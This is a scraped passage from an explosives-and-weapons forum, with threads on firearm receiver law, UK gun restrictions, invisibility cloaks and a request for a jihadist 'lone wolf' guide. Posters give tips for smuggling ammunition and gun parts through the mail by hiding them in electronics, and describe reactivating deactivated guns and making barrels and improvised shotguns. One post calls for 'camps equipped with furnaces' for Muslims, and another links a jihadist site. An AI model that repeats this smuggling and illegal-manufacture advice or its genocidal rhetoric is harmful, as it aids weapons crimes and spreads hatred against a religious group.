common US 80% AR-15 receiver). At 81% (and the feds will define that to suit their needs) you'd better have the proper BATFE
manufacturing permits / paperwork or you'll be in front of a Federal Judge (no good can come from that).
P.S. NBK, what's the url for the blog (updated Jan 16th)?
festergrump January 24th, 2007, 05:59 AM

It should be noted that 80% is just an estimation used by sites that sell partially completed receivers. It really just means that
it's "in the white" enough to NOT yet be a receiver if found in your possession. It is still just a chunk of metal like Docca
suggests.
When Tapco decided to try to market their line of Yugoslavian AKM receiver flats (with the front trunion bumps already pressed
into them) they had to submit a sample to the BATFE for a ruling since it also had the top rails bent already, too.
BATFE ruled it was not complete enough to be considered a receiver and gave Tapco the go-ahead. (good for us since they can
still be bent in the regular flat jig since all the hard stuff is done... Yugo kits as well as RPK kits can now be more easily built :)
The funny thing is: where in the fuck does the BATFE get off "ruling" about anything?! They're a subsidiary of the IRS for fuck
sake, not any kind of court, kangaroo or otherwise! ).
Regardless, the new flat Tapco offers is by my estimation about 90% complete... (go Tapco!) ;)

The funny thing is: where in the fuck does the BATFE get off "ruling" about anything?! They're a subsidiary of the IRS for fuck
sake, not any kind of court, kangaroo or otherwise! ).
Rant mode on...
It's a (another example of, there are many - CPSC comes to mind) clearly unconstitutional (imho) abdication of legislative
authority (and responsibilty) by the Congress of the U.S.
I'll bet that I could get 90% of them (federal legislators over the last 100 years) hung for treason, given a fair and impartial
jury with respect for the U.S. Constitution (not going to happen).
Rant mode off...
nbk2000 January 24th, 2007, 07:51 AM

No, it's >.60 caliber that's the definition of a destructive device, otherwise you wouldn't be able to buy .50 BMG ammo for
those .50 BMG caliber rifles that are available all over the place, now could you? ;)
http://www.google.com/search?q=%22destructive+device%22+%22.60+caliber%2 2&btnG=Search&hl=en&lr=&client=firefox-
a&rls=org.mozilla%3Aen-US%3Aofficial
Unless this is just something that very recently passed, and I'm sure it'd been all over the gun circuit if the .50 had been
federally banned.

No, it's >.60 caliber that's the definition of a destructive device, otherwise you wouldn't be able to buy .50 BMG ammo for
those .50 BMG caliber rifles that are available all over the place, now could you? ;)
http://www.google.com/search?q=%22destructive+device%22+%22.60+caliber%2 2&btnG=Search&hl=en&lr=&client=firefox-
a&rls=org.mozilla%3Aen-US%3Aofficial
Unless this is just something that very recently passed, and I'm sure it'd been all over the gun circuit if the .50 had been
federally banned.
NBK, your Google link brings up Kalifornia law, not U.S. Federal Code.

http://en.wikipedia.org/wiki/Destructive_device
A destructive device is a firearm or explosive device that, in the United States, is regulated by the National Firearms Act of
1934. Examples of destructive devices are grenades, and firearms with a bore over one half of an inch, including some semi-
automatic shotguns. While current federal laws allow destructive devices, some states have banned them from transfer to
civilians, and only law enforcement officers and military personnel are allowed to own them.
All National Firearms including destructive devices, must be registered with the Bureau of Alcohol, Tobacco, Firearms and
Explosives, who then closely monitor use, transport, and storage of the items.
Some types of bullets are considered destructive devices while other types are not. Rifle rounds and pistol rounds are
measured differently, with rifles measured from land to land and pistols from groove to groove in the rifling. Any pistol round
over .50 caliber, measured from groove to groove, is considered a "destructive device". For example, a .50 BMG bullet would
be classified as a .50 caliber projectile when measured from land to land, but a .511 caliber projectile when measured from
groove to groove. So while this type of bullet is legal in rifles, it is not legal for pistols.
The definition of a "destructive device" is found in Title 26, United States Code, in section 5845(f). The definition reads as
follows:
(1) any explosive, incendiary, or poison gas, (A) bomb, (B) grenade, (C) rocket having a propellant charge of more than 4
ounces, (D) missile having an explosive charge of more than 1/4 ounce, (E) mine or (F) similar device.
(2) Any weapon by whatever name known which will, or which may be readily converted to, expel a projectile by the action of an
explosive or other propellant, the barrel or barrels of which have a bore of more than one-half inch in diameter, except a
shotgun or shotgun shell which the Secretary finds is generally recognized as particularly suitable for sporting purposes; and
(3) Any combination of parts either designed or intended for use in converting any device into a destructive device as defined
in subparagraphs (1) and (2) and from which a destructive device may be readily assembled.
The term destructive device shall not include any device which is neither designed nor redesigned for use as a weapon; any
device, although originally designed for use as a weapon, which is redesigned for use as a signaling, pyrotechnic, line throwing,
safety or similar device; surplus ordnance sold, loaned or given by the Secretary of the Army, pursuant to the provisions of
section 4684(2), 4685, or 4686 of Title 10 of the United States Code; or any other device the Secretary finds is not likely to be
used as a weapon, or is an antique or is a rifle which the owner intends to use solely for sporting purposes.[1]
nbk2000 January 24th, 2007, 09:48 AM

It brings up a lot more than just Kalifornia.
Regardless, this hasn't had any effect on .50 shooters (yet), so is it in force yet or what?
Under the definition of 1(C), a Gy2 shell of .50 caliber or less wouldn't be considered a DD. :)
defiant January 24th, 2007, 12:35 PM

NBK: There is no federal prohibition against owning a .50 - but its prohibited by some state and local laws. So much for federal
law being superior in stature.
Docca wrote:
Regarding "Anything over is illegal for a private citizen to own", that's not quite true either. "Anything over" is a weapon
regulated by the NFA of 1934. If you can get the paperwork through (that's considerable), pay your transfer tax (not too bad
compared to the price of the weapon), and tolerate the feds occasionally showing up to see what you're up to (judge that for
yourself), then NFA weapons are perfectly legal to own (it's much easier if you have a lot of money).
That's true - my emphasis was on the legality of .50 and below - no consideration given to manufacturing licenses, the
transfer tax, or state Class III requirement and/or ways to get around them (i.e. in Florida, an individual is required to have a
chief law enforcement officer approve the purchase/ownership, which practically speaking is impossible - but a corporation isn't
subject to the approval requirement and only has to pay the tax).
A synopsis of the hoops your required to jump through pursuant to federal law is available at: http://www.thefiringline.com/
forums/showthread.php?t=162842
With regards to the BTAF knocking on the door, evidently they blunder from time to time: http://www.elfie.org/~croaker/
individ.html
[Note: the rep point I gave you disappeared - either I lack sufficient standing to give rep points - or someone up there
doesn't like you:D ]
Docca January 24th, 2007, 08:05 PM

so is it in force yet or what?
It is in force, and has been in force for years.
ShadowMyGeekSpace's Wikipedia quote goes into it in more detail than I previously knew about it. I can't verify it, but it rings
true - particularly the part about measuring rifles from land to land and pistols from groove to groove. Sounds like something
only a bureaucrat could come up with.
By the letter of federal law, .501 is over and therefore a "DD", unless your weapon falls under one of several exemptions or
past practices. .50BMG obviously falls under one or the other (maybe both).
If you go to something like .510 you may be ok, if the feds don't decide to change the rules on you (remember who made the
rules in the first place).

As far as I know, it's "over half an inch" to be a DD, but the NRA and others would be all over it if someone got the idea of
banning the .50 BMG. I'm not in the US, though.
As regards the UK, *any* pressure bearing part is a part of a firearm, and will get you sent to jail, with a minimum sentence of
5 years if it is a pistol or ammunition. Unfinished ammo is fine, except for the missiles (not allowed expanding, explosive,
tracer, AP or anything else clever even if inert - stick to lead or a full copper jacket) and the primers (use a match head to re-
vamp them)
While you might get away with "Someone sent me a gun!" be prepared to be raided after a long observation period as they
build a case.
Piru January 28th, 2007, 03:34 PM

You should quite easily get ammunition to the UK. I regularly get a shipment of 250-500 very powerfull Greek/Italian
firecrackers (each one contains more than 12 grammes of high quality flash) to the UK from the continent every month or so.
The guy who sells me it just puts 3 layers of aluminium foil and 2 layers of cardboard over the package and doesnt put
anything to draw attention to it like "fragile" or anything and it is sent by SEA ONLY. Also dont send it at a time like christmas
because they do more regular checks.
Saying this ammunition probably looks a bit more suspucious as it is mainly metal, although flash powder has al in it. I
wonder if this would show up on a magnometer!?!
Verbatim February 6th, 2007, 02:02 PM

An alternative to mailing bullets from the US could be manufacture them yourself.
An explosives license in the UK is only required for Black Powder, not for pyrodex or cordite.
You can purchase primers, empty cases, bullet heads or molds and reloading tool all without restriction.
However if you were considering this move I would act now as I hear the government is to legislate, restricting purchase to
licensed firearm holders.
Or stating the obvious, you could just go and join the local gun club, obtain a Firearm certificate and buy some from the shop.
My club is only 35 a year.
Getting caught mailing ammo to yourself would no doubt land you a short stay at Her Majesty's pleasure.

Just so everybody knows, someone from the british postal inspector service signed up today.
The only reason they'd have to sign up would be to view the watercooler section. ;)
professor k February 7th, 2007, 11:24 PM

Oh, regarding the .50 bmg thing. For rifles it is measured land to land, and for pistols it's measured the uh, other way. But
either way, .50bmg is legal in a rifle, but in a pistol it would not be. As for the .60 being destructive device, you just pointed
out a few state laws and Canada.
As far as shipping stuff back, it'd probably get through. However, much of the mail goes through explosive scanners here in
USA at least. The bullets are pretty sealed though, but I dont know. Go try it if you want.
What might be easier is just going to the range and getting a shitload of brass and buy a bullet mold and some reloading
dies/press. If you can get/make powder and primers in england, you're good to go.
The ammo prolly would go through if you put it inside some old electronic like a broken PS2, maybe where the power supply
would go, as that would have the most metal.
Boom-stick March 2nd, 2007, 09:56 AM

Hypothetically, do you think it would be possible to mail back a small amount of (50 rds - 1 box) of handgun ammunition
from the US to the UK, just for shits and giggles? I know they use sniffer dogs to search mail for drugs, but would they actually
Xray every package looking for firearms components / ammunition etc?
I've done it a few times, even had firearm parts sent over as well:) All made to my front door safe and sound.
I once ordered 500 .22 and got sent 500 .22mag, they told to keep the ones I had and they sent over the correct ones FOC.
As Verbatim said, the easy way to get ammo in the UK though is go to nearly any gun shop and buy a Lee loader, bullets,
brass, primers and powder. You don't need a license to buy the components just the finished product. And making your own is
a whole lot cheaper anyway. A box of shop bought .44mag is between 16-23 for 50, I roll my own for 6 :D
Arisaka March 5th, 2007, 05:11 PM
Barrels are the most difficult to obtain. Because free possesion of them is prohibted in most european countries.
In Germany for example you can buy almost al parts to make a firearm.
But keep in mind is it worth the risk ?
nbk2000 March 5th, 2007, 07:37 PM

Can you buy receivers, like the lower for an AK-47 or AR-15 (M-16)?
Memories March 7th, 2007, 04:14 AM

Barrels are the most difficult to obtain. Because free possesion of them is prohibted in most european countries.
But keep in mind is it worth the risk ?
Barrels seem to be the hardest part of a gun to "make right". You need quite a lot of special tools to make a barrel that will
shoot straight, and lots of practice making them. The other parts of guns can be made by machining on modest budgets,
though if you do skimp on getting a proper barrel you can still make some semi decent guns I am told.
I emailed a local US importer of some rifle barrels asking them what the laws were regarding a barrel. They said they could
ship them to me as long as I had a license.. and I could get as many as I wanted. Though if I changed the barrel on my rifle
I would need to tell the police. Another barrel importer told me only HE would fit the barrel to my gun if he sold one, so maybe
he has been burned in the past or something with illegal firearm acquisition.
I also asked one of the big US reloader suppliers if they ship to my country (overseas) and they said yes, as there was no law
against it. That only includes the press and dies IIRC, he said primers are illegal to send due to them being classed as
explosives. So you could theoretically order yourself the press and dies (legally), then get the primers, powder and shells
somewhere else. I think shells are illegal to send too, does anybody know for sure?
Boom-stick March 7th, 2007, 12:23 PM

Can you buy receivers, like the lower for an AK-47 or AR-15 (M-16)?
I'm not sure I'll check up that, but I know the receivers we get on most de-acts are complete, as it's the bolts and chamber
that gets welded up most of the time.
A neat loop hole in UK gun laws is with "Trophies of War", ex-squaddies can bring back what they like and hang it on the wall.
Loads of arms come into the country after each war that way. They can also be passed down as heir looms.
It also seems to be a fairly little known fact, that .44 russian S&W revolvers, both single and double action can be bought
without a license in the UK, as the ammo isn't classed as being readily available. Spend 5 minutes with a case trimmer and
box of .44spl/.44mag brass and you're good to go:D

Most receivers are deacts. Maybe you can weld them up because they are not cut in half like I see on the u.s. sten kits.
tomu March 10th, 2007, 04:15 PM

snip..
...snip
Your statement is Absolutely Wrong!
You can't buy any important gun parts in Germany. You need a permit to buy or possess barrels even blanks, receivers upper
or lower, bolts, frames or slides in Germany.
There are some ways to reactivate some type of de-act revolvers and rifles. The barrels and in the case of revolvers the
cylinders must be replaced. Also receivers can be salvaged and easily repaired from some de-act guns like the AK-47 or AKM.
But the receiver of an AK isn't the problem it's the bolt and the barrel. The bolts and the barrels of de-act guns you can buy in
Germany are destroyed beyond repair, they have to be replaced with new parts.
These parts can not be bought without a special gun permit. These permit is as difficult to obtain as a permit for buying the
complete gun (semi-auto only of course, forget about full-auto guns in Germany they are "verboten" prohibited).
Gerbil March 10th, 2007, 05:25 PM

A neat loop hole in UK gun laws is with "Trophies of War", ex-squaddies can bring back what they like and hang it on the wall.
Only for stuff predating WW2, and then it needs deactivation.
Boom-stick March 15th, 2007, 11:27 AM

Stuff predating WW2 doesn't need deactivation, but it now needs to be entered on an FAC, but you don't have to pay for it.
Verbatim March 19th, 2007, 05:45 PM

I really don't see the difficulty in making a rifled barrel, you can make a hand buttoning rig fairly easily. Although most of the
designs you find on the tweb use a turned wooden cylinder as the rifling pattern. You can achieve the same by twisting 6 foot
of 3/8" square bar.
Else you can easily purchase .22 barrels - just ring BSA 30 + delivery.
It's the .45 "airgun" barrels that might raise eyebrows as the projectile would roll out of the barrel to comply with the 12FT/Ib
airgun laws.

Barrels seem to be the hardest part of a gun to "make right". You need quite a lot of special tools to make a barrel that will
shoot straight, and lots of practice making them.
You can use a .22 barrel from an air rifle.
LibertyOrDeath March 20th, 2007, 05:57 PM

This is going off on a bit of a tangent, but here's a thought. If you're stuck in the UK or other repressive state (including some
areas of the US) and want to try to make a firearm, I recommend a 12 gauge shotgun. Here's why:
(1) The barrel can be made from nothing more than a strong pipe, since a shotgun only needs a smooth bore. No rifling
needed.
(2) Shotguns are devastatingly effective at short range:
The buckshot typically used in a combat shotgun spreads out to a greater or lesser degree depending on the barrel choke,
and can be effective at ranges as far as 75 yards (70 m). The delivery of the large number of projectiles simultaneously
makes the shotgun the most effective short range weapon commonly used, with a hit probability 45% greater than a
submachine gun, and twice as great as an assault rifle. While each pellet is only as effective as a small caliber handgun, and
offers very poor penetration against an armored target, the multiple projectiles increases the likelihood of one or more
peripheral wounds.
http://en.wikipedia.org/wiki/Combat_shotgun
That gives you a great weapon for home defense or urban survival. Even in places where other weapons are legal, some
recommend the shotgun over other weapons because of its high effectiveness.
(3) Simple directions are readily available (e.g., the Improvised Munitions Handbook).
It may also be easier to acquire shotgun ammo than other kinds of ammo, although that's not a certainty.
The downside is that if you make the shotgun yourself, you might have trouble making anything other than a single-shot
model that's difficult to reload. But even that's better than nothing -- and you can always make more than one.
So, for someone who might be taking a risk by getting ammo delivered to an anti-gun area, I think some 12-gauge shells
would be the way to go unless another firearm has already been acquired.
tomu March 24th, 2007, 07:53 AM

I really don't see the difficulty in making a rifled barrel, you can make a hand buttoning rig fairly easily. SNIP...
Have you ever made a rifeld barrel yourself? Have you ever drilled a straight hole it's lenght several times it's diameter
through a piece of metal rod and reamed it to size? Especially in a very though steel like it's needed for high power calibres?
Just getting things straight and true is not as easy as it may look in a gun magazines article. It certainly can be done and has
been done but not by one with no or very little experience in machine shop work and tool making.
Btw. the twist is easily achieved by a simple gear conisting of a gear wheel it's circumference equaling the twist running on a
straight geared rod, the rotary motion is transfered by a simple 1:1 90 angle gear to the rifeling tool. No need other than
historic reasons for any turned wooden cylinder or a twisted steel rod.

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Invisibility cloak
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Nihilist October 20th, 2006, 08:09 PM

http://news.yahoo.com/s/ap/20061019/ap_on_sc/cloak_of_invisibility
Interesting stuff.
nbk2000 October 20th, 2006, 11:34 PM

As it stands, it is 'invisible' to microwaves, which is what RADAR uses.
A lot of motion detectors use RADAR in conjunction w ith a PIR to eliminate falsing.
Foam takes care of the PIR, and now this can take care of the RADAR. :)
It'll be years before there's anything available to use, though. :(
Skean Dhu October 21st, 2006, 01:37 AM

The real hitch in the quest for cloaking, is being able to see after you've been cloaked. Because once you go bending electron w aves around yourself or the vehicle you are
occupying, you render yourself blind.
Since none of the waves are de/reflecting off of you, none of them are reaching your eye , FLIR, NVG ,or whatever optic system you are using. What ever set of w aves you are
invisible to you are also blind to.
Hirudinea October 21st, 2006, 01:47 AM

Interesting stuff.
I saw this on the news today as w ell (CBC Snoozeworld), the inventor said that w hile this worked in microwaves (around 3cm in wavelength) that it would be years before it
would work in visible light (nanometers), but since it is more akin to a printing process and microchips are laid down in nanometers this seems like an engineering problem, not
sci-fi. Another problem with these "cloaks" is that they are made of a rigid material (copper, as in a large copper tube) so don't order your Predator camo suit too soon. :D
The inventor also mentioned that the "cloak", since it directs the radiation around whatever it surrounds it could also be used to protect delicate equipment from electromagnetic
interference, and (and I'm just supposing here) in the future, much lighter protection from radiation than traditional lead sheilding, since this relies on channeling the energy, not
blocking it. All in all very interesting, it will be interesting to see what they come up w ith, or more the point not to see it. :rolleyes:
Sausagemit October 21st, 2006, 04:27 PM

I acctually read a really good article/interview about this in Electronic Engineering Times a while ago. After some searching I found it in electronic form though our school library.
No link available though and to view it through EETimes.com you have to register.
Copyright 2006 CMP Media LLC

All Rights Reserved
ELECTRONIC ENGINEERING TIMES
August 14, 2006
SECTION: NEWS; The interview; Pg. 20
LENGTH: 1879 words
HEADLINE: Metamaterials hold key to cloak of invisibility
HIGHLIGHT:
A cloak of invisibility: It sounds like the stuff of comic book superheroes.

In fact, invisibility cloaks for any type of electromagnetic radiation-even
visible light-are something Duke University postdoctoral fellow David Schurig
believes are w ithin grasp. Turig and the professors directing his research-David
Smith at Duke and Sir John Pendry at the Imperial College in London-maintain
that by the end of 2007, metamaterials will enable an invisibility cloak that
works in the microwave range. Further engineering effort will create such cloaks
for other types of light, the researchers say.
BODY:
Metamaterials, or engineered composites, substitute macroscopic objects for

atoms in a giant crystalline-like lattice, enabling the pitch of
passive-component arrays to set the w avelengths affected. The design of these
component arrays harks back to the first principles of electronics-simple R-C-L
(resistor-capacitor-inductor) circuits. The electromagnetic waves passing
through arrays of tiny resistors, capacitors, inductors and other dielectric
materials positioned in free space can be bent down any designer-specified path.
In 2000, Smith, who w as then at the University of California-San Diego, and

his colleagues demonstrated a composite metamaterial that used embedded passive
resonators to bend microw aves backward. The circuit elements that the team used
were based on the theoretical analysis provided by Pendry and his colleagues in
London.
Schurig recently sat down with technology editor R. Colin Johnson to describe
how the cloaking device w orks, and what EEs can do to turn this science fiction
idea into fact.
EE Times: Where did the cloaking concept originate?
David Schurig: The cloaking concept came from Sir John Pendry's 1996 paper
with Andrew Ward. That w ork simplified finite-element codes by taking a
complicated geometry and transforming it into a simpler geometry before doing
simulations-this was before commercial codes made meshing so easy. What Pendry
realized, just last year, was that the material properties that he and Ward used
in these fictitious spaces w ere realizable now, thanks to this new field of
metamaterials.
EE Times: So it w as a decade-from 1996 to 2006-between Pendry's seminal paper

and the cloaking device research that he collaborated on w ith you and professor
David Smith at Duke?
Schurig: Yes. John [Pendry] imagined this strange space that can be curved or
tw isted or bent, or even have holes in it to hide things. What his new theory
told us was how to construct materials that make our normal space behave the
same way as this hypothetical space.
EE Times: How should EEs imagine these transformations?
Schurig: They should imagine a piece of cloth woven with a hole in it made by
pushing a pointed object betw een the threads without tearing them. This hole is
where you hide something in the two-dimensional space. Electromagnetic fields
are confined to move along the threads, and can never access anything hidden in
the hole.
Of course, the trick is to come up with the material properties that make our
normal space, which doesn't have holes in it, behave as if it did. To do that,
you take a mathematical description of how the distorted thread pattern differs
from the normal w eft and weave of the cloth. This is the coordinate
transformation. Then you ask, is there a set of material properties that w ill
give the same form for Maxw ell's equations as you find for them under this
coordinate transformation?
Those material properties make electromagnetic fields in our boring, flat,

hole-free space behave as they do in the much more interesting, distorted space.
EE Times: Maxwell's four differential equations summarize all the properties

of electromagnetic fields. So I guess you guys spent the last year learning how
to transform them to handle odd-shaped spaces?
Schurig: Pendry did the first couple of transformations himself, then he

started to talk to David [Smith] and me about it, and we all agreed that it was
pretty interesting. So w e started doing more transformations. Then I wrote some
ray-tracing code to give independent confirmation that these things really do
behave the way the theory says they are supposed to.
And that all proved out. Since then, another professor here, Steve Cummer,
has done full-w ave simulations using Maxwell equation solvers. Those also worked
without a hitch, which to us was very surprising, because for the light to go
around an object and still be in phase on the other side, you would think it
would have to exceed the speed of light.
EE Times: I've read about that. The light has to travel a longer distance
than usual around the outside of the cloaked region, and since by definition it
is already traveling at the speed of light, the extra distance w ould mean it had
to go even faster to stay in phase with the light in the surroundings. But it
doesn't really transport energy faster than the speed of light, does it? Doesn't
it really just use stored energy built up in the steady state to make one
specific frequency's phase fronts exceed the speed of light?
Schurig: That's right. You've done your homew ork. You have a good
understanding of dispersion and relativity-that's exactly it. But it's not as
hard as it sounds. Remember, it's easier to hide things from the human eye than
[from] a spectrometer [laughs]. The eye only sees in three bands [red, green and
blue], and there are all kinds of ways to trick it. The easiest way is w hen the
environment is monochromatic, like in a jungle setting where most everything is
bathed in green light; there you could do very well, even though your cloak has
limited bandw idth.
EE Times: Don't these metamaterials work only for long w avelengths, such as
microw aves? Are metamaterials available for the visible region today?
Schurig: Metamaterials do not currently w ork on visible light; that's

probably 10 years off. But in principle, it's possible.
EE Times: I can imagine making a traditional lens-and-projection system to

route visible light around an object. Why, in principle, do you need
metamaterials at all?
Schurig: For one thing, the specifications that come from the transformation
theory require that the material be both inhomogeneous, meaning its properties
need to vary from point to point, and anisotropic, meaning that the properties
depend on the orientation of the fields, too. And finally, you also need
materials [with] permittivity and permeability that are less than that of free
space.
EE Times: Is that w here the negative index of refraction comes from?

Permittivity and permeability are measures of a material's capacity to form
electrical and magnetic fields inside it, respectively. Aren't both alw ays
positive for natural materials, meaning that the response of the material is
alw ays in phase with applied fields?
Schurig: Usually, yes, but for an invisibility cloak we don't need negative
values, just values that are smaller than free space.
EE Times: But isn't free space defined as having an index of refraction equal
to 1?
Schurig: Yes, but in this case w e don't need negative values. We just need
values between 0 and 1.
Metamaterials research has already show n that negative indices are difficult
if not impossible to do with natural materials. But it is also true that indices
of refraction that are positive, but less than one, are just as difficult to
achieve in natural materials as negative values, and for the same reason: Both
cases require a resonance, and in traditional materials the resonance is seldom
where you want it to be. But w ith engineered composites, or metamaterials, you
can put the resonance where you want it.
EE Times: A resonance at the working frequency, here at the wavelength you

are trying to cloak?
Schurig: Yes. It's relatively easy to engineer a metamaterial that has the
correct permittivity, permeability and anisotrophy you need at every point to
cloak something, but it's hard to imagine doing that with natural materials.
EE Times: The metamaterials I'm familiar with work on microwaves and use
circuit boards w ith split-ring oscillators on them to provide resonance at the
working frequency. Is that the setup you are proposing too?
Schurig: Yes, that is mostly w hat w e do here. In fact, our first

demonstration of a cloak will use those same circuit-board-based materials.
EE Times: Are you going to build a real working cloak?
Schurig: As you might guess, we are w orking on that right now.
EE Times: I am guessing that your first real cloaking device will provide a
smooth transition effect around a known volume at microwave frequencies. Is that
the case?
Schurig: Yes.
EE Times: Even that's got real applications. For example, why couldn't you
use one of those to cloak a spy satellite to keep radar from finding it?
Schurig: Absolutely. Hiding from radar is an application w here metamaterials

are already working in the right frequency range. Visible light, for sure, is on
the order of 10 years off, but using [a cloaking device] to hide from radar
could be much sooner.
EE Times: For your initial experiments in the microwave range, how big a
volume are you going to try to cloak?
Schurig: Well, our measuring apparatus is only designed to measure things on

the order of tens of centimeters.
EE Times: So you will start with a volume that measures less than 100
centimeters on a side?
Schurig: Yes, our demonstration cloak will be on that kind of size scale.
EE Times: When do you expect to finish it?
Schurig: Originally we were telling people about a year, but things are going
pretty well, so now we expect to have a demonstration substantially sooner than
that.
EE Times: What advice do you have for EEs w ho might be interested in

experimenting with cloaking?
Schurig: A big part of the design process here keeps harking back to basic
circuit models. Those models that EEs learned in school are very pow erful-we use
them over and over again to design our metamaterials. Just intuitively, w hen you
think about a metamaterial's split-ring resonators, you think about changing
their properties by changing the inductance and capacitance of the split rings,
which changes their resonant frequency.
EE Times: Does this mark a resurgence of basic electronic-engineering skills,

but applied at a different size scale?
Schurig: We think so. Most of us are physicists here, but we are using the EE
's basic circuit models all the time. In fact, we are all working in the EE
department here at Duke.
EE Times: After perfecting these circuitry principles at the scale of circuit

boards for microwaves, do you expect these structures to then migrate down to
microelectromechanical systems?
Schurig: Yes, I think that will happen over the next 10 years. Getting them
down to the nanoscale will enable cloaks to w ork at visible-light frequencies.
EE Times: The cloaking effect is always going to be limited in bandwidth-tied

to a frequency range. But could there be some w ay to use three parallel systems,
like RGB, to make a cloak work for the whole range of visible light?
Schurig: Yes, that's possible, or a single system could be dynamically

adjustable too. There are lots of little tricks that engineers will be able to
play.
If EEs are interested in these cloaking devices, then I suggest that they
start learning about metamaterials today. That's the technology that is going to
make the cloaking device a reality.
---
David Schurig
Born: March 19, 1966, Burbank, Calif.
Education: PhD, physics, 2002; BS, engineering physics, 1989; University of

California at San Diego
Here is another interesting article from the same publication...
Cloaking Device Postulated (http://ww w.eetimes.com/news/semi/showArticle.jhtml;jsessionid= 3NFLK40EV1BZAQSNDLOSK HSCJUNN2JVN?articleID=188500975)
Syke October 25th, 2006, 02:05 AM

Imagine a world w ith inviso pigs (shudder)

http://ww w.newscientisttech.com/article/dn10334-working-invisibility-cloak-created-at-last.html gives a good account of it.
The limitations are noteworthy: Works at a single frequency, but can possibly be re-configured to another frequency in the same range electronically, rigid conductive surface to
the item being cloaked, fairly heavy. It also doesn't tell us what the upper limit is to the total size of the object vs. the wavelength being distorted, either.
However, for something like a ship, this w ould be rather neat. Incoming radar pulses would be detected and then the skin w ould configure itself to deflect that frequency. The
modern EW/ELINT gear has a threat library, and this tells the target the capabilities of the system they are up against, and so a system with a predictable pulse rate w ould be
easy to hide from. If there were a second system, the capacitance and reactance of the skin could be reconfigured to avoid that, too, as long as the pulses were far enough
apart that the system switched in time.
On the ship, you combine the microwave system with the water-spray optical cloaking system, and bingo, you are nearly invisible!
It might w ork for a tank too, but since I don't know of anyone w ho uses radar at ground level to detect tanks, it would be pointless unless you w ere facing radar guided anti-
tank missiles or something.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Discussion on Sabotage, and
request.
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View Full Version : Discussion on Sabotage, and request.
mrtnira October 23rd , 2 0 0 6 , 0 7 : 4 6 P M

I h a v e d o n e a l o t o f h o m ework on sabotage operations. In military history, sabotage is a neglected topic, and maybe should
be when the sm all size of these operations is com pared to the Allied invasion of Normandy, or to the hard battles of the
Eastern Front. Still, as a study, like m ost parts of the clandestine effort in the First and Second World W a r s , s a b o t a g e i s a
subject which has gripping power on the intellect.
I bring it up because there was a recent internet document, "Guide for In dividual Jihad". T he news about it indicated it was h ow
people could take up the fight for themselves, without central direction. To m e, it indicated a significant shift in jihadi thinking.
Prior to this, most press reporting indicates structure, chain of comm and, logistics and funding, training, and direction from
groups. Now, though, it seem s the conflict will be encouraging a "fifth colum n", which will constitute self-m otivated jihadists
a l o n g the lines of the lone wolf model.
Once someone understands the larger strategic goal, they can independently function to accom p l i s h t h a t g o a l b e i n g g u i d e d b y
their inner compass. The lone wolf replicated on a m ass scale would create chaos, and western-style societies would come to a
slow halt.
Here is m y request: can som eone find a copy of "Guide for Individual Jih ad"? I have searched for it using various search
engines and found only press reports referencing it. If you can find a copy of it, p l e a s e p o st it.
Its value may not be much in the "how-to" for Forum mem bers, but it m ight help provide data for use in th e study of jihadi
doctrine, and how tha t doctrine is shifting or adapting to a "long war".
Hirudinea October 23rd , 2 0 0 6 , 1 1 : 0 1 P M

Here is m y request: can som eone find a copy of "Guide for Individual Jih ad"? I have searched for it using various search
engines and found only press reports referencing it. If you can find a copy of it, p l e a s e p o st it.
T h i s m ight be what your looking for (O r at least it m i g h t b e o n t h e s a m e p a g e . )
http://64.233.179.104/translate_c?hl=en&ie=UTF-8&oe=UTF-8&langpair=ar%7Cen&u=http ://www.althabeton.co.nr/&prev=/
lang uage_tools
http://jamestown.org/terrorism/news/article.php?articleid=23701 6 0
This article m ight also be helpful.
+++++++++
Use the CODE tag for any U RL's that are long enough to be abbreviated by the board software. NBK
nbk2000 October 24th , 2006, 05:34 AM

If th ey became a decentralized 'lone wolf' operation, then that'd m ean that any towelhead could be a possible terrorist, thus
bein g all the excuse we'd need for cam ps equipped with furnaces. :)
Also, lone wolf operations wou ld be extrem ely limited in their destructive ability, as there is only so m uch dam a g e o n e p e r s o n
can do.
W h i l e a t h o u s a n d m o squito bites may be annoying, it d oesn't stop the lion from feasting on its prey.
simply RED October 24th , 2006, 06:11 AM

U n l e s s t h e s e m osquitos have the lastest malaria strain :) .
WMD October 24th , 2006, 11:25 AM

If you're inte rested in m odern sabotage concepts, Global Guerillas is a good read
http://globalguerrillas.typepad.com /
Hirudinea October 24th , 2 0 0 6 , 0 7 : 4 7 P M

Up north (in Northern Canada) som etim es the blackflies attack the m oose in clou d s s o d e nse that the m o o s e g o m a d , t h e
m oose just start runn ing and running until they colapse from exhusation and die all because of the attack of a cloud of tiny
insects.

W MD, thank you for the direction to that website. It is really well done, and worth reading for retention.
A lot of the principles he writes about are classic, and have not changed in the past 60 years. What was good about the (http:/
/globalguerrillas.typepad.com/) website was his weaving the patterns and essential elements into an estimate drawn from
today's news -- so the relevance is pre sent. It's harder for people to capture the sam e relevance when when reading about
German sabotage operations in 1914-1917 in the U.S. But, he is writing about today.
I read about those older operations because it fits me like a suit -- I'm a historia n. But, n o one on this forum i s a s l e e p t o t h e
m atters at hand in the larger world aro u n d u s . S o , I a s k e d f o r s o m e h e l p t o d o s o m e m ore current hom ework, having searched
for the document myself and not having found it. Thank you for that help.
I searched each of the 62 references on Google, and found they were largely reposting the same article.
Hirudinea, I did go to the Jiha dist website you m entioned (http://www.althabeton.co.nr/). If they have the document, it is in
their m e m b e rs' side of their site, like the files in this forum.
Y o u a l s o g o t t h e i d e a about the flies a nd the m oose. It is a perfect illustration.
NBK's cautionary comm ent about "only so m uch one person can do" is also correct. And, I've thought like that m yse lf about the
insanity of the "Am erican m ilitia movem ent". The big difference here is an indoctrinated m a s s m ovment of jihadi self-
m otivators who hold the lives of others to be le ss than the rightness of their beliefs.
This has the potential to be a tough one, if the idea catches. I hope (hope) NBK is correct on this point, and that it turns out to
be minor-to-nothing.

The Google translate link Hirudinea po sted for the "althabeton" website doesn't translate anything for me. Is the website
written in Farsi, and n ot Arabic?

Defendu, if you use Hirudinea's link line it should work for you. That long link line was a Google translation page that did work
for me. I shortened the link to the actual page, which m a y h a v e p r o v i d e d s o m e p roblem for you.

The URL posted by Hirudinea is exactly what I m e a n t .
The exact URL(accessed using Mozilla Firefox):

http://64.233.179.104/translate_c?hl=en&ie=UTF-8&oe=UTF-8&langpair=ar%7Cen&u=http ://www.althabeton.co.nr/&prev=/
lang uage_tools
Jacks Complete October 25th , 2006, 07:07 AM

Interesting com ment by NBK, that one man can only do so m uch.
